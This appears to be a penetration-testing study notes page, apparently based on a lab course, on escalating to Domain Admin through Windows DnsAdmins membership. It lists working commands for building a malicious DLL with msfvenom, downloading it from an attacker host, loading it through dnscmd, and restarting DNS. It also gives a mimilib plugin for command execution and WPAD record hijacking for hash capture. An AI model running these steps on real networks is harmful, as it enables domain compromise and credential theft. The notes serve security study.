About me

Windows DnsAdmins Attacks

  • Members of the DnsAdmins group have access to DNS information on the network

  • The Windows DNS service supports custom plugins and can call functions from them to resolve name queries that are not in the scope of any locally hosted DNS zones

    • The DNS service runs as NT AUTHORITY\SYSTEM, so membership in this group could potentially be leveraged to escalate privileges on a Domain Controller or in a situation where a separate server is acting as the DNS server for the domain

    • It is possible to use the built-in dnscmd utility to specify the path of the plugin DLL.

  • when DNS is run on a Domain Controller (which is very common):

    • DNS management is performed over RPC

    • ServerLevelPluginDll allows us to load a custom DLL with zero verification of the DLL's path. This can be done with the dnscmd tool from the command line

    • When a member of the DnsAdmins group runs the dnscmd command below, the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll registry key is populated

    • When the DNS service is restarted, the DLL in this path will be loaded (i.e., a network share that the Domain Controller's machine account can access)

    • An attacker can load a custom DLL to obtain a reverse shell or even load a tool such as Mimikatz as a DLL to dump credentials.

Leveraging DnsAdmins Access

Generating Malicious DLL

msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll

Starting Local HTTP Server

  • [[Transferring Files]]

Downloading File to Target

wget "http://10.10.14.3:7777/adduser.dll" -outfile "adduser.dll"

Loading DLL as Non-Privileged User

dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll

  • Only members of the DnsAdmins group are permitted to do this.

  • if failed do next step

Loading DLL as Member of DnsAdmins

Get-ADGroupMember -Identity DnsAdmins

Loading Custom DLL

dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll

  • Note: We must specify the full path to our custom DLL or the attack will not work properly.

  • Only the dnscmd utility can be used by members of the DnsAdmins group, as they do not directly have permission on the registry key.

  • the DLL will be loaded the next time the DNS service is started

  • Membership in the DnsAdmins group doesn't give the ability to restart the DNS service,

    • but this is something that sysadmins might permit DNS admins to do.

  • After restarting the DNS service (if our user has this level of access), we should be able to run our custom DLL and add a user (in our case) or get a reverse shell.

  • If we do not have access to restart the DNS server, we will have to wait until the server or service restarts.

Check our current user's permissions on the DNS service.

Finding User's SID

wmic useraccount where name="netadm" get sid

Checking Permissions on DNS Service

  • Once we have the user's SID, we can use the sc command to check permissions on the service

sc.exe sdshow DNS

  • Per this article,

    • we can check if our user has RPWP permissions which translate to SERVICE_START and SERVICE_STOP, respectively.

Stopping the DNS Service

sc stop dns

  • The DNS service will attempt to start and run our custom DLL, but if we check the status, it will show that it failed to start correctly

Starting the DNS Service

sc start dns

Confirming Group Membership

 net group "Domain Admins" /dom

  • for you to get domain admin permissions you need to log out and login

Cleaning Up

  • Making configuration changes and stopping/restarting the DNS service on a Domain Controller are very destructive actions and must be exercised with great care.

Confirming Registry Key Added

  • The first step is confirming that the ServerLevelPluginDll registry key exists.

    • Until our custom DLL is removed, we will not be able to start the DNS service again correctly.

 reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters

Deleting Registry Key

reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters  /v ServerLevelPluginDll

Starting the DNS Service Again

sc.exe start dns

Checking DNS Service Status

sc query dns

Using Mimilib.dll

  • we could also utilize mimilib.dll

    • from the creator of the Mimikatz tool to gain command execution by modifying the kdns.c file to execute a reverse shell one-liner or another command of our choosing.

/*	Benjamin DELPY `gentilkiwi`
	https://blog.gentilkiwi.com
	[email protected]
	Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kdns.h"

DWORD WINAPI kdns_DnsPluginInitialize(PLUGIN_ALLOCATOR_FUNCTION pDnsAllocateFunction, PLUGIN_FREE_FUNCTION pDnsFreeFunction)
{
	return ERROR_SUCCESS;
}

DWORD WINAPI kdns_DnsPluginCleanup()
{
	return ERROR_SUCCESS;
}

DWORD WINAPI kdns_DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PDB_RECORD *ppDnsRecordListHead)
{
	FILE * kdns_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
	if(kdns_logfile = _wfopen(L"kiwidns.log", L"a"))
#pragma warning(pop)
	{
		klog(kdns_logfile, L"%S (%hu)\n", pszQueryName, wQueryType);
		fclose(kdns_logfile);
	    system("ENTER COMMAND HERE");
	}
	return ERROR_SUCCESS;
}

Reference

  • https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html

Creating a WPAD Recorder

  • Another way to abuse DnsAdmins group privileges is by creating a WPAD record

  • Membership in this group gives us the rights to disable global query block security, which by default blocks this attack

  • Server 2008 first introduced the ability to add to a global query block list on a DNS server.

  • By default,

    • Web Proxy Automatic Discovery Protocol (WPAD) and Intra-site Automatic Tunnel Addressing Protocol (ISATAP) are on the global query block list.

      • These protocols are quite vulnerable to hijacking, and any domain user can create a computer object or DNS record containing those names.

  • After disabling the global query block list and creating a WPAD record, every machine running WPAD with default settings will have its traffic proxied through our attack machine

  • We could use a tool such as Responder or Inveigh to perform traffic spoofing, and attempt to capture password hashes and crack them offline or perform an SMBRelay attack.

Disabling the Global Query Block List

Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local

Adding a WPAD Record

Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3

Reference

  • https://www.winhelponline.com/blog/view-edit-service-permissions-windows/

  • https://adsecurity.org/?p=4064

  • https://academy.hackthebox.com/module/67/section/603

PreviousWindows Event Log ReadersNextHyper-V Administrators Attacks

Last updated